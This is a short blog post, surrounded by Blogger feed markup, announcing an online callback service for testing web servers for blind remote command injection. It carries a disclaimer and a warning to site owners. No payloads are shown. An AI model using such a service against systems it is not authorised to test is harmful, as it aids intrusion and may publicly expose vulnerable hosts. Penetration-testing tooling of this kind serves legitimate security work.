style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com0tag:blogger.com,1999:blog-343942367941320523.post-85936264747470972802015-08-24T03:42:00.000+03:002016-07-17T07:02:04.980+03:00Get Remote Code Injeciton Feedback OnlineHi there, i've launched specific service, that may help you to test Remote Command Injection ONLINE. (simple and dirty, without cool design :)<br />
<br />
Why do we need it?<br />
<br />
Let's say, you're behind a NAT and you forgot password to your router for configuring port forwarding? :)<br />
<br />
If you're in situation without a public IP and you can't listen to ICMP Ping requests (for example) from web-server you're testing right now, try out this service.<br />
<br />
<a href="http://rci.sudo.co.il/" target="_blank">http://rci.sudo.co.il</a><br />
<br />
Hmm... I'm not responsible for any illegal use of this service.<br />
If you've seen this IP or domain name in logs, pay attention, somebody is testing your website for Command Injection Vulnerability.<br />
<br />
Oh.. one more thing.. the service may disclose IPs with this vulnerability to the public.<br />
Think twice before using it.
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com0